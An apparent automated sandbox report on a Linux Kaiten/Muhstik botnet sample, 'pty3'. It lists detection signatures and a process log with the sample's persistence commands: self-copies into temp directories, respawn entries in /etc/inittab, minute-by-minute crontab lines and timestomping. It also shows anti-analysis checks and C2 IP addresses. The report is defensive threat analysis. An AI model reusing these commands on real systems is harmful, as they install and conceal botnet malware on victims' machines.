Analysis Overview
SHA256
7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3
Threat Level: Known bad
The file pty3 was found to be: Known bad.
Malicious Activity Summary
Identified Kaiten Bot
Kaiten family
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
Writes file to system bin folder
Write file to user bin folder
Modifies rc script
Reads runtime system information
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-04-25 23:53
Signatures
Identified Kaiten Bot
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Kaiten family
Analysis: behavioral1
Detonation Overview
Submitted
2022-04-25 23:53
Reported
2022-04-25 23:58
Platform
ubuntu1804-amd64-en-20211208
Max time kernel
0s
Max time network
102s
Command Line
Signatures
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
Writes file to system bin folder
| Description | Indicator | Process | Target |
| /bin/crontab | /bin/crontab | N/A | N/A |
| /bin/nvram | /bin/nvram | N/A | N/A |
| /bin/uname | /bin/uname | N/A | N/A |
Modifies rc script
| Description | Indicator | Process | Target |
| /etc/rc.local | /etc/rc.local | ./pty3 | N/A |
Write file to user bin folder
| Description | Indicator | Process | Target |
| /usr/bin/crontab | /usr/bin/crontab | N/A | N/A |
| /usr/sbin/nvram | /usr/sbin/nvram | N/A | N/A |
Processes
./pty3
[./pty3]
/bin/sh
[sh -c pidof -x strace > /dev/null]
/bin/pidof
[pidof -x strace]
/bin/sh
[sh -c pidof -x tcpdump > /dev/null]
/bin/pidof
[pidof -x tcpdump]
/bin/sh
[sh -c cat /etc/inittab | grep -v "/tmp/pty3" > /etc/inittab2]
/bin/sh
[sh -c crontab -l | grep /tmp/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /tmp/pty3 > /dev/null 2>&1 &") | crontab -]
/bin/sh
[sh -c crontab -r]
/bin/cat
[cat /etc/inittab]
/bin/grep
[grep -v /tmp/pty3]
/usr/bin/crontab
[crontab -r]
/usr/bin/crontab
[crontab -l]
/bin/grep
[grep /tmp/pty3]
/bin/sh
[sh -c echo "0:2345:respawn:/tmp/pty3" >> /etc/inittab2]
/bin/grep
[grep -v no cron]
/bin/sh
[sh -c cat /etc/inittab2 > /etc/inittab]
/bin/cat
[cat /etc/inittab2]
/usr/bin/crontab
[crontab -]
/bin/sh
[sh -c rm -rf /etc/inittab2]
/usr/bin/crontab
[crontab -l]
/bin/rm
[rm -rf /etc/inittab2]
/bin/sh
[sh -c touch -acmr /bin/ls /etc/inittab]
/usr/bin/touch
[touch -acmr /bin/ls /etc/inittab]
/bin/sh
[sh -c /bin/uname -n]
/bin/sh
[sh -c cp -f /tmp/pty3 /dev/shm/pty3]
/bin/cp
[cp -f /tmp/pty3 /dev/shm/pty3]
/bin/uname
[/bin/uname -n]
/bin/sh
[sh -c cat /etc/inittab | grep -v "/dev/shm/pty3" > /etc/inittab2]
/bin/sh
[sh -c crontab -l | grep /dev/shm/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /dev/shm/pty3 > /dev/null 2>&1 &") | crontab -]
/bin/cat
[cat /etc/inittab]
/usr/bin/crontab
[crontab -l]
/bin/grep
[grep -v /dev/shm/pty3]
/bin/grep
[grep /dev/shm/pty3]
/bin/sh
[sh -c echo "0:2345:respawn:/dev/shm/pty3" >> /etc/inittab2]
/bin/sh
[sh -c cat /etc/inittab2 > /etc/inittab]
/bin/grep
[grep -v no cron]
/usr/bin/crontab
[crontab -]
/bin/cat
[cat /etc/inittab2]
/usr/bin/crontab
[crontab -l]
/bin/sh
[sh -c rm -rf /etc/inittab2]
/bin/rm
[rm -rf /etc/inittab2]
/bin/sh
[sh -c touch -acmr /bin/ls /etc/inittab]
/usr/bin/touch
[touch -acmr /bin/ls /etc/inittab]
/bin/sh
[sh -c cp -f /tmp/pty3 /var/tmp/pty3]
/bin/cp
[cp -f /tmp/pty3 /var/tmp/pty3]
/bin/sh
[sh -c cat /etc/inittab | grep -v "/var/tmp/pty3" > /etc/inittab2]
/bin/sh
[sh -c crontab -l | grep /var/tmp/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/tmp/pty3 > /dev/null 2>&1 &") | crontab -]
/bin/cat
[cat /etc/inittab]
/bin/grep
[grep /var/tmp/pty3]
/bin/grep
[grep -v /var/tmp/pty3]
/usr/bin/crontab
[crontab -l]
/bin/grep
[grep -v no cron]
/bin/sh
[sh -c echo "0:2345:respawn:/var/tmp/pty3" >> /etc/inittab2]
/bin/sh
[sh -c cat /etc/inittab2 > /etc/inittab]
/usr/bin/crontab
[crontab -l]
/usr/bin/crontab
[crontab -]
/bin/cat
[cat /etc/inittab2]
/bin/sh
[sh -c rm -rf /etc/inittab2]
/bin/rm
[rm -rf /etc/inittab2]
/bin/sh
[sh -c touch -acmr /bin/ls /etc/inittab]
/usr/bin/touch
[touch -acmr /bin/ls /etc/inittab]
/bin/sh
[sh -c cp -f /tmp/pty3 /var/lock/pty3]
/bin/cp
[cp -f /tmp/pty3 /var/lock/pty3]
/bin/sh
[sh -c cat /etc/inittab | grep -v "/var/lock/pty3" > /etc/inittab2]
/bin/sh
[sh -c crontab -l | grep /var/lock/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/lock/pty3 > /dev/null 2>&1 &") | crontab -]
/bin/cat
[cat /etc/inittab]
/usr/bin/crontab
[crontab -l]
/bin/grep
[grep /var/lock/pty3]
/bin/grep
[grep -v /var/lock/pty3]
/bin/grep
[grep -v no cron]
/bin/sh
[sh -c echo "0:2345:respawn:/var/lock/pty3" >> /etc/inittab2]
/bin/sh
[sh -c cat /etc/inittab2 > /etc/inittab]
/usr/bin/crontab
[crontab -l]
/usr/bin/crontab
[crontab -]
/bin/cat
[cat /etc/inittab2]
/bin/sh
[sh -c rm -rf /etc/inittab2]
/bin/rm
[rm -rf /etc/inittab2]
/bin/sh
[sh -c touch -acmr /bin/ls /etc/inittab]
/usr/bin/touch
[touch -acmr /bin/ls /etc/inittab]
/bin/sh
[sh -c cp -f /tmp/pty3 /var/run/pty3]
/bin/cp
[cp -f /tmp/pty3 /var/run/pty3]
/bin/sh
[sh -c cat /etc/inittab | grep -v "/var/run/pty3" > /etc/inittab2]
/bin/sh
[sh -c crontab -l | grep /var/run/pty3 | grep -v "no cron" || (crontab -l ; echo "* * * * * /var/run/pty3 > /dev/null 2>&1 &") | crontab -]
/bin/grep
[grep -v /var/run/pty3]
/bin/cat
[cat /etc/inittab]
/usr/bin/crontab
[crontab -l]
/bin/sh
[sh -c echo "0:2345:respawn:/var/run/pty3" >> /etc/inittab2]
/bin/grep
[grep /var/run/pty3]
/bin/sh
[sh -c cat /etc/inittab2 > /etc/inittab]
/bin/grep
[grep -v no cron]
/bin/cat
[cat /etc/inittab2]
/usr/bin/crontab
[crontab -]
/bin/sh
[sh -c rm -rf /etc/inittab2]
/usr/bin/crontab
[crontab -l]
/bin/rm
[rm -rf /etc/inittab2]
/bin/sh
[sh -c touch -acmr /bin/ls /etc/inittab]
/usr/bin/touch
[touch -acmr /bin/ls /etc/inittab]
Network
| Country | Destination | Domain | Proto |
| SG | 156.67.218.115:8080 | tcp | |
| SG | 141.136.47.97:8080 | tcp | |
| SG | 37.44.244.106:8080 | tcp | |
| GB | 178.159.3.213:8080 | tcp |